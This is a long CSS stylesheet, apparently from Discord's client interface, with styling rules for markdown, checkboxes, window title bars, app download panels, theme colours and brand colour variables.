.copyLink-2thG89.copied-1nnTOy { cursor: default; }

.copyLinkIcon-3vb9Gr { display: block; width: 16px; height: 16px; margin-right: 4px; }

.content-K0fyfa { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex: 0 0 auto; }

.infoLink-3363PK { cursor: pointer; }

.buildInfo-2w4mAE { -webkit-box-flex: 1; flex: 1 1 auto; overflow: hidden; padding-right: 8px; height: 40px; }

.button-9dbsAI { -webkit-box-flex: 0; flex: 0 0 auto; }

.buttonSize-15cg_j { width: 80px; height: 40px; }

.subHead-2hL6ji { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; font-weight: 500; }

.icon-3aYPfm { -webkit-box-flex: 0; flex: 0 0 auto; display: block; margin-right: 16px; }

.buildDetails-2mYzfS { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; font-weight: 500; font-size: 16px; line-height: 20px; }

.barLoader-2pDp68 { -webkit-box-flex: 0; flex: 0 0 auto; width: 84%; height: 16px; border-radius: 8px; }

.barTitle-1RhSSH { width: 45%; margin-top: 2px; margin-bottom: 4px; }

.buttonLoader-2kPem2 { width: 80px; height: 40px; border-radius: 4px; }

.theme-dark .infoLink-3363PK { color: rgb(185, 187, 190) !important; }

.theme-dark .copyLink-2thG89::before { background-color: rgb(64, 68, 75); }

.theme-dark .buildDetails-2mYzfS, .theme-dark .copyLink-2thG89:hover, .theme-dark .infoLink-3363PK:hover { color: rgb(246, 246, 247) !important; }

.theme-dark .copyLink-2thG89.copied-1nnTOy, .theme-dark .copyLink-2thG89.copied-1nnTOy:hover { color: var(--text-positive); }

.theme-dark .barLoader-2pDp68, .theme-dark .buttonLoader-2kPem2 { background-color: rgb(64, 68, 75); }

.theme-light .infoLink-3363PK { color: rgb(79, 86, 96) !important; }

.theme-light .copyLink-2thG89::before { background-color: rgb(79, 86, 96); }

.theme-light .buildDetails-2mYzfS, .theme-light .copyLink-2thG89:hover, .theme-light .infoLink-3363PK:hover { color: rgb(35, 38, 42) !important; }

.theme-light .copyLink-2thG89.copied-1nnTOy, .theme-light .copyLink-2thG89.copied-1nnTOy:hover { color: var(--text-positive); }

.theme-light .barLoader-2pDp68, .theme-light .buttonLoader-2kPem2 { background-color: rgb(210, 214, 218); }

.theme-light .disabledButtonOverride-3Ntxjs { background-color: rgb(199, 204, 209) !important; }

.title-3KTIjF { margin-bottom: 8px; }

h1.title-3KTIjF { font-size: 20px; line-height: 1.2; font-weight: 500; }

h2.title-3KTIjF { font-size: 16px; line-height: 1.25; font-weight: 600; }

h3.title-3KTIjF { font-size: 14px; line-height: 1.14; }

h3.title-3KTIjF, h4.title-3KTIjF, h5.title-3KTIjF, h6.title-3KTIjF { font-weight: 600; text-transform: uppercase; }

h4.title-3KTIjF, h5.title-3KTIjF, h6.title-3KTIjF { font-size: 12px; line-height: 1.33; }

.theme-dark h1.title-3KTIjF, .theme-dark h2.title-3KTIjF { color: rgb(255, 255, 255); }

.theme-dark h3.title-3KTIjF { color: rgb(220, 221, 222); }

.theme-dark h4.title-3KTIjF, .theme-dark h5.title-3KTIjF, .theme-dark h6.title-3KTIjF { color: rgb(185, 187, 190); }

.theme-light h1.title-3KTIjF, .theme-light h2.title-3KTIjF { color: rgb(54, 57, 63); }

.theme-light h3.title-3KTIjF, .theme-light h4.title-3KTIjF, .theme-light h5.title-3KTIjF, .theme-light h6.title-3KTIjF { color: rgb(114, 118, 125); }

.hljs { display: block; overflow-x: auto; padding: 0.5em; border-radius: 4px; color: var(--header-secondary); text-size-adjust: none; }

.hljs-comment, .hljs-quote { color: var(--interactive-muted); }

.hljs-addition, .hljs-keyword, .hljs-selector-tag { color: rgb(133, 153, 0); }

.hljs-doctag, .hljs-literal, .hljs-meta .hljs-meta-string, .hljs-number, .hljs-regexp, .hljs-string { color: rgb(42, 161, 152); }

.hljs-name, .hljs-section, .hljs-selector-class, .hljs-selector-id, .hljs-title { color: rgb(38, 139, 210); }

.hljs-attr, .hljs-attribute, .hljs-class .hljs-title, .hljs-template-variable, .hljs-type, .hljs-variable { color: rgb(181, 137, 0); }

.hljs-bullet, .hljs-link, .hljs-meta, .hljs-meta .hljs-keyword, .hljs-selector-attr, .hljs-selector-pseudo, .hljs-subst, .hljs-symbol { color: rgb(203, 75, 22); }

.hljs-built_in, .hljs-deletion { color: rgb(220, 50, 47); }

.hljs-formula { background: rgb(7, 54, 66); }

.hljs-emphasis { font-style: italic; }

.hljs-strong { font-weight: 700; }

.markdown-11q6EU { font-size: 16px; user-select: text; }

.markdown-11q6EU h1, .markdown-11q6EU h2, .markdown-11q6EU h3, .markdown-11q6EU h4, .markdown-11q6EU h5, .markdown-11q6EU h6, .markdown-11q6EU hr { margin: 20px 0px 8px; }

.markdown-11q6EU .blockquote-2-nEPK, .markdown-11q6EU ol, .markdown-11q6EU p, .markdown-11q6EU pre, .markdown-11q6EU table, .markdown-11q6EU ul { margin-top: 8px; }

.markdown-11q6EU :first-child { margin-top: 0px; }

.markdown-11q6EU hr, .markdown-11q6EU p { margin-bottom: 0px; }

.markdown-11q6EU strong { font-weight: 600; }

.markdown-11q6EU em { font-style: italic; }

.markdown-11q6EU ol li { list-style-type: decimal; margin-left: 20px; }

.markdown-11q6EU ul { margin: 0px 0px 12px; }

.markdown-11q6EU ul li { list-style-type: disc; margin: 8px 0px 0px 20px; }

.markdown-11q6EU ul li:first-child { margin-top: 0px; }

.markdown-11q6EU table { border-collapse: collapse; }

.markdown-11q6EU th { font-weight: 600; }

.markdown-11q6EU td, .markdown-11q6EU th { padding: 8px; border-left: 1px solid transparent; border-right: 1px solid transparent; text-align: left; }

.markdown-11q6EU tr { border: 1px solid transparent; }

.markdown-11q6EU img { border-radius: 3px; }

.markdown-11q6EU .blockquote-2-nEPK { display: block; padding-left: 8px; border-left: 4px solid transparent; }

.markdown-11q6EU .blockquote-2-nEPK p { margin: 0px; }

.markdown-11q6EU .codeInline-1FHKS7 { padding: 0.2em; }

.markdown-11q6EU .paragraph-3Ejjt0 { margin-bottom: 8px; }

.theme-dark .markdown-11q6EU { color: rgb(185, 187, 190); }

.theme-dark .markdown-11q6EU th { color: rgb(255, 255, 255); background-color: rgb(32, 34, 37); border-color: rgb(79, 84, 92); }

.theme-dark .markdown-11q6EU td { border-color: rgb(79, 84, 92); }

.theme-dark .markdown-11q6EU tr { color: rgb(185, 187, 190); border-color: rgb(79, 84, 92); }

.theme-dark .markdown-11q6EU tr:nth-child(2n) { background-color: rgb(47, 49, 54); }

.theme-dark .markdown-11q6EU .blockquote-2-nEPK { border-left-color: rgb(79, 84, 92); }

.theme-dark .markdown-11q6EU code { background-color: rgb(47, 49, 54); }

.theme-dark .markdown-11q6EU .codeInline-1FHKS7 { color: rgb(220, 221, 222); }

.spinner-2Ubxu6 { margin-top: 20px; }

.markdown-38ZvHn { font-size: 12px; line-height: 16px; padding-bottom: 30px; }

.checkboxWrapper-SkhIWG { display: flex; position: relative; user-select: none; -webkit-box-flex: 1; flex: 1 1 auto; font-size: 16px; max-width: 100%; }

.checkboxWrapper-SkhIWG.row-3QHy4I { background-color: var(--background-secondary); padding: 10px; border-radius: 3px; }

.checkboxWrapper-SkhIWG.row-3QHy4I.checked-3_4uQ9 { background-color: var(--background-tertiary); color: var(--interactive-active); }

.checkboxWrapper-SkhIWG.row-3QHy4I:hover:not(.checked-3_4uQ9) { background-color: var(--background-modifier-hover); color: var(--interactive-hover); }

.checkboxWrapper-SkhIWG.row-3QHy4I:active:not(.checked-3_4uQ9) { background-color: var(--background-modifier-active); color: var(--interactive-active); }

.checkboxWrapperDisabled-36r8NK { opacity: 0.6; }

.checkboxWrapperDisabled-36r8NK.row-3QHy4I { opacity: 0.3; }

.alignTop-1ntJ4- { }

.alignCenter-MrlN6q { -webkit-box-align: center; align-items: center; }

.input-3ITkQf { position: absolute; top: 0px; left: 0px; opacity: 0; margin: 0px; padding: 0px; appearance: none; }

.inputDefault-3JxKJ2, .inputDisabled-110Jqx { width: 100%; height: 100%; z-index: 1; }

.inputDefault-3JxKJ2 { cursor: pointer; }

.inputDisabled-110Jqx { cursor: not-allowed; }

.inputReadonly-rYU97L { cursor: default; width: 0px; height: 0px; z-index: -1; }

.box-mmYMsp { border-radius: 3px; }

.round-2jCFai { border-radius: 50%; }

.checkbox-1ix_J3 { -webkit-box-flex: 0; flex: 0 0 auto; border-width: 1px; border-style: solid; box-sizing: border-box; }

.label-cywgfr { -webkit-box-flex: 1; flex: 1 1 auto; min-width: 0px; }

.labelClickable-11AuB8 { cursor: pointer; }

.labelDisabled-G7bjji { cursor: not-allowed; }

.labelForward-1wfipV { padding-left: 8px; }

.labelReversed-1RI8G7 { padding-right: 8px; }

.theme-light .checkbox-1ix_J3 { border-color: rgb(185, 187, 190); }

.theme-light.checked-3_4uQ9 { background: rgb(255, 255, 255); }

.theme-dark .checkbox-1ix_J3 { border-color: rgb(114, 118, 125); }

.theme-dark.checked-3_4uQ9 { border-color: rgb(255, 255, 255); background-color: rgb(255, 255, 255); }

.formTitle-2sqUuS { margin-bottom: 8px; }

.checkbox-2Yh6o3 { margin-bottom: 10px; }

.checkbox-2Yh6o3:last-child { margin-bottom: 0px; }

.checkboxLabel-1zn0UC { color: var(--interactive-normal); }

.finePrint-RDL9Gx { color: var(--channels-default); font-size: 12px; line-height: 14px; margin-top: 8px; }

.gameIcon-gg34Dz { -webkit-user-drag: none; background-size: 100%; border-radius: 3px; color: var(--header-primary); }

.large-1DtyYQ, .medium-2wqF9d, .small-xOVx-r { flex-shrink: 0; }

.xsmall-18LM5r { width: 24px; height: 24px; }

.small-xOVx-r { width: 30px; height: 30px; }

.medium-2wqF9d { width: 40px; height: 40px; }

.large-1DtyYQ { width: 60px; height: 60px; }

.eighty-1Bli46 { width: 80px; height: 80px; }

.error-3iVqOt { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); font-size: 14px; font-weight: 500; margin-top: 4px; }

.splash-9yPB5w { position: absolute; top: 0px; left: 0px; right: 0px; background-position: 50% center; background-size: cover; height: 120px; filter: grayscale(100%); opacity: 0.1; -webkit-mask: linear-gradient(rgb(0, 0, 0), transparent); }

.gameIcon-ZGZ9aM { margin-right: 20px; }

.gameName-3S4nBI { -webkit-box-flex: 1; flex-grow: 1; font-size: 16px; font-weight: 600; }

.installSize-1eXbBX { border-radius: 3px; font-size: 14px; font-weight: 600; padding: 5px 8px; white-space: nowrap; }

.divider-38zUJA { height: 1px; margin: 20px 0px; }

.selector-3yEc8N { margin-bottom: 20px; }

.installButton-2kMnvZ { display: flex; -webkit-box-align: center; align-items: center; }

.premiumIcon-3GPLjg { margin-right: 4px; }

.terms-1QAfrU { margin-bottom: 20px; }

.theme-dark .gameName-3S4nBI { color: rgb(220, 221, 222); }

.theme-dark .installSize-1eXbBX { background-color: rgb(79, 84, 92); color: rgb(246, 246, 247); }

.theme-dark .divider-38zUJA { background-color: rgba(47, 49, 54, 0.6); }

.theme-dark .premiumTerms-QoMVGx { color: rgb(220, 221, 222); }

.content-O7cZt5 { padding: 32px 16px; }

.header-2MZwao { margin-bottom: 8px; text-align: center; }

.headerShortcut-3Je8yd { display: inline-block; margin: 0px 4px; transform: translateY(-4px); }

.tips-2V51be { background-color: var(--background-secondary-alt); border-radius: 8px; padding: 16px; margin: 16px 0px; }

.tips-2V51be li { display: grid; grid-template-columns: auto 1fr; }

.wrapper-1prNyd { overflow: hidden; min-height: 100vh; background-size: cover; color: var(--text-normal); background-color: var(--background-secondary); background-position: 50% 0px; }

.flexWrapper-2EgxO2 { height: 100vh; }

.image-3zK3Wt { width: 254px; height: 154px; margin-bottom: 40px; background-size: 100% 100%; }

.text-NLHgOm { width: 440px; margin-bottom: 20px; }

.note-450gs3 { font-size: 16px; color: var(--text-muted); }

.note-450gs3, .title-3trS3_ { text-align: center; }

.title-3trS3_ { font-size: 24px; line-height: 8px; margin-bottom: 24px; font-weight: 600; color: var(--header-primary); }

.theme-light .wrapper-1prNyd { background-image: url("https://discord.com/assets/86548cb347b5acfb41bcb328c89b9bdc.svg"); }

.theme-light .image-3zK3Wt { background-image: url("https://discord.com/assets/0a111abac0327b74a86ee380548ec5cd.svg"); }

.theme-dark .wrapper-1prNyd { background-image: url("https://discord.com/assets/86548cb347b5acfb41bcb328c89b9bdc.svg"); }

.theme-dark .image-3zK3Wt { background-image: url("https://discord.com/assets/5656f17248cf747f56433a1d60c8c1bf.svg"); }

.titleBar-AC4pGV { z-index: 3001; -webkit-app-region: drag; flex-shrink: 0; }

.withFrame-haYltI { height: 18px; margin-top: 4px; }

.typeMacOS-3EmCyP { position: absolute; width: 72px; }

.typeMacOSWithFrame-3R_i5S { }

.typeMacOSWithFrame-3R_i5S .macButtons-2MuSAC { margin-top: -2px; margin-right: -70px; }

.typeWindows-1za-n7 { }

.wordmark-2iDDfm { pointer-events: none; font-size: 0px; }

.wordmarkWindows-1v0lYD { position: absolute; top: 0px; left: 0px; padding: 4px 9px 3px; color: var(--text-muted); }

.wordmarkMacOS-1Ch9T0 { margin: 0px auto; }

.winButton-iRh8-Z { position: relative; top: -4px; cursor: pointer; width: 28px; height: 22px; pointer-events: auto; -webkit-app-region: no-drag; }

.winButtonMinMax-PBQ2gm { }

.winButtonMinMax-PBQ2gm:hover { background-color: var(--background-modifier-hover); color: var(--interactive-hover); }

.winButtonMinMax-PBQ2gm:active { background-color: var(--background-modifier-active); color: var(--interactive-active); }

.winButtonClose-1HsbF- { }

.winButtonClose-1HsbF-:hover { color: rgb(255, 255, 255); background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.winButton-iRh8-Z { color: var(--interactive-normal); }

.macButtons-2MuSAC { box-sizing: border-box; width: 70px; padding: 10px; }

.macButtons-2MuSAC svg { display: block; visibility: hidden; }

.focused-3B0xkw .macButtons-2MuSAC:hover svg { visibility: visible; }

.macButton-c_Adir { box-sizing: border-box; width: 12px; height: 12px; border-radius: 50%; -webkit-app-region: no-drag; }

.macButtonClose-MwZ2nf, .macButtonMaximize-2FMHAO, .macButtonMinimize-3EJ6wo { }

.macButtonMaximize-2FMHAO { background-color: rgb(52, 199, 73); }

.macButtonMaximize-2FMHAO:active { background-color: rgb(42, 159, 58); }

.macButtonMinimize-3EJ6wo { background-color: rgb(253, 188, 64); }

.macButtonMinimize-3EJ6wo:active { background-color: rgb(202, 150, 51); }

.macButtonClose-MwZ2nf { background-color: rgb(252, 97, 93); }

.macButtonClose-MwZ2nf:active { background-color: rgb(202, 78, 74); }

.unfocused-1QsMU3 .macButtonClose-MwZ2nf, .unfocused-1QsMU3 .macButtonMaximize-2FMHAO, .unfocused-1QsMU3 .macButtonMinimize-3EJ6wo { background-color: var(--background-modifier-accent); }

.container-2SuFUc { position: absolute; margin: 8px; bottom: 0px; right: 0px; padding: 8px; white-space: pre; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; font-size: 10px; background-color: var(--background-secondary); box-shadow: var(--elevation-stroke),var(--elevation-high); border-radius: 3px; pointer-events: all; z-index: 1001; min-height: 5em; width: 320px; }

.containerMinimized-3FMdcw { width: auto; min-height: auto; }

.content-3Xc0iT { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: start; align-items: flex-start; min-height: 5em; }

.contentMinimized-2138DT { display: none; }

.notTracked-g-p2CU { color: var(--text-muted); }

.label-1AJL-4 { display: flex; }

.baseIcon-21Qr71 { width: 12px; height: 12px; }

.iconNotTracked-1vjQS1 { color: hsl(210,calc(var(--saturation-factor, 1)*9.8%),80%); }

.iconTracked-kluQMo { color: hsl(139,calc(var(--saturation-factor, 1)*85.6%),64.5%); }

.minimizeButton-jig842 { position: absolute; top: 0px; right: 0px; padding: 8px; cursor: pointer; }

.jsonSection-1NbdLM { margin-left: 8px; margin-bottom: 8px; user-select: text; }

.stack-e8PBNo { color: var(--text-muted); }

.current-26YhOj, .stack-e8PBNo { }

.current-26YhOj { color: var(--text-normal); }

.downloadApps-wbBFdZ { border-radius: 5px; min-width: 880px; min-height: 387px; }

.downloadApps-wbBFdZ, .downloadApps-wbBFdZ .contentWrapper-37w9gg { -webkit-box-pack: center; justify-content: center; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.downloadApps-wbBFdZ .contentWrapper-37w9gg { text-decoration: none !important; }

.downloadApps-wbBFdZ .inner-2LETmR { -webkit-box-pack: center; justify-content: center; flex-wrap: wrap; display: flex; margin: 10px; }

.downloadApps-wbBFdZ .header-nJMe-Q { text-align: center; text-transform: uppercase; font-weight: 700; font-size: 22px; padding: 20px 0px; margin: 0px; color: rgb(115, 127, 141); }

.downloadApps-wbBFdZ .footer-1nkeBm { text-align: center; font-size: 14px; margin-top: 6px; color: rgb(153, 170, 181); }

.downloadApps-wbBFdZ .footer-1nkeBm a { font-weight: 700; color: var(--text-link); text-decoration: none; cursor: pointer; }

.downloadApps-wbBFdZ .footer-1nkeBm a:hover { text-decoration: underline; }

.downloadApps-wbBFdZ .platformsWrap-m7IVu3 { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; display: flex; }

.downloadApps-wbBFdZ .platforms-28Rb-3 { display: flex; margin: 24px; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 { transition: all 0.3s ease-in-out 0s; backface-visibility: hidden; border: 2px solid rgb(153, 170, 181); position: relative; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; flex-shrink: 0; border-radius: 3px; margin-left: 15px; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .iconWrap-1pnF3w { position: relative; align-self: center; margin: 25px 0px; width: 100px; height: 100px; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb { transition: opacity 0.3s ease-in-out 0s; background-repeat: no-repeat; position: absolute; align-self: center; width: 100%; height: 100%; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.active-iLSdWQ { opacity: 0; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.apple-1fKN59 { background-image: url("https://discord.com/assets/3e1fc71bf06c18948e0a22638974046c.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.apple-1fKN59.active-iLSdWQ { background-image: url("https://discord.com/assets/1416435e040fde8d5989aca0046fd811.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.android-gGrHJu { background-image: url("https://discord.com/assets/21ad8179fc8ff141e697bbe08b9fd0b0.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.android-gGrHJu.active-iLSdWQ { background-image: url("https://discord.com/assets/bd41f5fa61c5449147822b16cd781fc3.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.windows-29yOum { background-image: url("https://discord.com/assets/8e498f06b1810ae16f6b3a7c56e9089a.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.windows-29yOum.active-iLSdWQ { background-image: url("https://discord.com/assets/4f2de8336d160442c074045047924e95.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.linux-15cW1y { background-image: url("https://discord.com/assets/4480b2849fbd6b4bc56eea1f34e72aa5.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.linux-15cW1y.active-iLSdWQ { background-image: url("https://discord.com/assets/acdcdf7b374842a2904df0c9bf4cea9f.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.ios-Z7K-rr { background-image: url("https://discord.com/assets/40bd63ebba96b82a1dcbd174987f24f3.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .icon-2Pk7pb.ios-Z7K-rr.active-iLSdWQ { background-image: url("https://discord.com/assets/de09c1a167a87741246b9f3ec239e0ea.svg"); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236:first-child { margin-left: 0px; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 p { text-transform: uppercase; font-size: 13px; margin: 5px 0px; text-align: center; font-weight: 500; color: rgb(153, 170, 181); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .downloadButtons-3H1BTc { display: flex; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .downloadButtons-3H1BTc.list-3wJ7Rg { padding: 0px 20px; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .downloadButtons-3H1BTc.list-3wJ7Rg .downloadButton-1bWXpg { margin: 20px 5px; width: 65px; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236 .downloadButton-1bWXpg { transition: background-color 0.3s ease-in-out 0s; background-color: rgb(153, 170, 181); text-decoration: none; text-align: center; border-radius: 3px; font-weight: 500; font-size: 16px; padding: 12px 0px; color: rgb(255, 255, 255); width: 150px; margin: 20px; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236.active-iLSdWQ { transform: scale(1.025); border-color: var(--brand-experiment); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236.active-iLSdWQ .icon-2Pk7pb { opacity: 0; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236.active-iLSdWQ .icon-2Pk7pb.active-iLSdWQ { opacity: 1; }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236.active-iLSdWQ p { color: var(--brand-experiment); }

.downloadApps-wbBFdZ .platforms-28Rb-3 .platform-iik236.active-iLSdWQ .downloadButton-1bWXpg { background-color: var(--brand-experiment); }

.qrCodeOverlay-3sEnfP { width: 100%; height: 100%; position: absolute; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.qrCodeOverlay-3sEnfP img { width: 40px; height: 40px; }

.qrCodeContainer-EYitqX { display: flex; width: fit-content; position: relative; }

.container-HublYr { gap: 16px; }

.container-HublYr, .mobileContainer-1x7CLQ { display: flex; }

.mobileContainer-1x7CLQ { background-color: rgb(255, 255, 255); padding: 24px; border-radius: 8px; gap: 24px; }

.subcontainer-3wtLI- { width: 320px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; }

.header-2lqoyd { font-family: var(--font-display); font-size: 20px; color: rgb(0, 0, 0); font-weight: 700; margin-top: 16px; }

.subheader-AECc1B { margin-top: 12px; font-size: 16px; color: rgb(79, 86, 96); }

.buttonContainer-3lQJkz { display: flex; gap: 12px; margin-top: 24px; }

.downloadButton-2QokFP { height: 40px; width: 132px; }

.desktopDownloadButton-u02XQl { width: 100%; margin-top: auto; height: 40px; }

.linuxDownloadButtonContainer-3nzYxz { display: flex; gap: 12px; margin-top: auto; -webkit-box-pack: center; justify-content: center; }

.linuxDownloadButton-3_MACn { width: 60px; height: 40px; }

.desktopButtonContainer-1fgize { display: grid; gap: 12px; margin-top: 24px; -webkit-box-pack: center; justify-content: center; grid-template-columns: 140px 140px; }

.desktopDownloadButtonFixed-2YZhzj { min-width: 100px; height: 40px; }

.mobileImageContainer-2Tscm0 { display: flex; -webkit-box-align: end; align-items: flex-end; }

.mobileImage-DY1nTe { position: relative; top: 24px; width: 276px; height: 308px; }

.desktopContainer-spQem0 { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; background-color: rgb(255, 255, 255); border-radius: 8px; padding: 24px; -webkit-box-align: center; align-items: center; width: 364px; text-align: center; box-sizing: border-box; }

.desktopHeader-1LNLub { font-family: var(--font-display); font-size: 20px; color: rgb(0, 0, 0); font-weight: 700; margin-top: 16px; gap: initial; }

.desktopSubHeader-3UUZGI { margin-top: 12px; color: rgb(79, 86, 96); font-size: 16px; }

.laptopImage-3RG2nk { width: 264px; height: 158px; }

.desktopSubcontainer-23BuVt { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; height: 100%; }

@media (max-width: 1400px) {
  .container-HublYr { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; width: 684px; }
  .desktopContainer-spQem0 { -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; width: 100%; max-width: 100%; gap: 66px; text-align: initial; padding-right: 48px; }
  .header-2lqoyd { font-size: 25px; }
  .laptopImage-3RG2nk { width: 214px; height: 128px; }
  .desktopDownloadButton-u02XQl { width: 132px; }
  .desktopHeader-1LNLub { margin-top: 0px; }
  .desktopButtonContainer-1fgize, .linuxDownloadButtonContainer-3nzYxz { -webkit-box-pack: initial; justify-content: normal; }
}

[data-popout-root], html { --brand-experiment-100:hsl(240,calc(var(--saturation-factor, 1)*77.8%),98.2%); --brand-experiment-130:hsl(236,calc(var(--saturation-factor, 1)*87.5%),96.9%); --brand-experiment-160:hsl(235,calc(var(--saturation-factor, 1)*84.6%),94.9%); --brand-experiment-200:hsl(236,calc(var(--saturation-factor, 1)*83.3%),92.9%); --brand-experiment-230:hsl(236,calc(var(--saturation-factor, 1)*87%),91%); --brand-experiment-260:hsl(235,calc(var(--saturation-factor, 1)*86.2%),88.6%); --brand-experiment-300:hsl(235,calc(var(--saturation-factor, 1)*86.1%),85.9%); --brand-experiment-330:hsl(235,calc(var(--saturation-factor, 1)*85.1%),81.6%); --brand-experiment-360:hsl(235,calc(var(--saturation-factor, 1)*86.1%),77.5%); --brand-experiment-400:hsl(235,calc(var(--saturation-factor, 1)*86.1%),71.8%); --brand-experiment-430:hsl(235,calc(var(--saturation-factor, 1)*85.7%),69.8%); --brand-experiment-460:hsl(235,calc(var(--saturation-factor, 1)*85.5%),67.5%); --brand-experiment:hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); --brand-experiment-500:hsl(235,calc(var(--saturation-factor, 1)*85.6%),64.7%); --brand-experiment-530:hsl(235,calc(var(--saturation-factor, 1)*66.7%),58.8%); --brand-experiment-560:hsl(235,calc(var(--saturation-factor, 1)*51.4%),52.4%); --brand-experiment-600:hsl(235,calc(var(--saturation-factor, 1)*46.7%),44.1%); --brand-experiment-630:hsl(235,calc(var(--saturation-factor, 1)*46.7%),38.2%); --brand-experiment-660:hsl(235,calc(var(--saturation-factor, 1)*47.1%),33.3%); --brand-experiment-700:hsl(235,calc(var(--saturation-factor, 1)*47%),25.9%); --brand-experiment-730:hsl(235,calc(var(--saturation-factor, 1)*46.8%),24.3%); --brand-experiment-760:hsl(234,calc(var(--saturation-factor, 1)*46.9%),22.2%); --brand-experiment-800:hsl(235,calc(var(--saturation-factor, 1)*47.5%),19.4%); --brand-experiment-830:hsl(235,calc(var(--saturation-factor, 1)*47.4%),14.9%); --brand-experiment-860:hsl(235,calc(var(--saturation-factor, 1)*46.9%),9.6%); --brand-experiment-900:hsl(233,calc(var(--saturation-factor, 1)*50%),3.1%); --brand-experiment-05a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.05); --brand-experiment-10a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.1); --brand-experiment-15a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.15); --brand-experiment-20a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.2); --brand-experiment-25a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.25); --brand-experiment-30a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.3); --brand-experiment-35a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.35); --brand-experiment-40a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.4); --brand-experiment-45a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.45); --brand-experiment-50a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.5); --brand-experiment-55a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.55); --brand-experiment-60a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.6); --brand-experiment-65a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.65); --brand-experiment-70a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.7); --brand-experiment-75a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.75); --brand-experiment-80a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.8); --brand-experiment-85a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.85); --brand-experiment-90a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.9); --brand-experiment-95a:hsla(235,calc(var(--saturation-factor, 1)*85.6%),64.7%,0.95); }

[data-popout-root].low-saturation, html.low-saturation { --control-brand-foreground:var(--interactive-normal); }

html.disable-high-contrast * { forced-color-adjust: none; }

.toast-1DEQGy { background-color: var(--background-tertiary); border-radius: 32px; margin-bottom: 12px; line-height: 24px; padding: 16px; display: flex; }

.icon-q80NJC { margin-right: 8px; margin-top: -2px; }

.container-2cKKek { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; top: 36px; z-index: 4999; position: fixed; left: 50%; transform: translateX(-50%); }

.errorPage-u8SYh4 { width: 100%; }

.emoji { object-fit: contain; width: 1.375em; height: 1.375em; vertical-align: bottom; }

.emoji.jumboable { width: 3rem; height: 3rem; min-height: 3rem; }

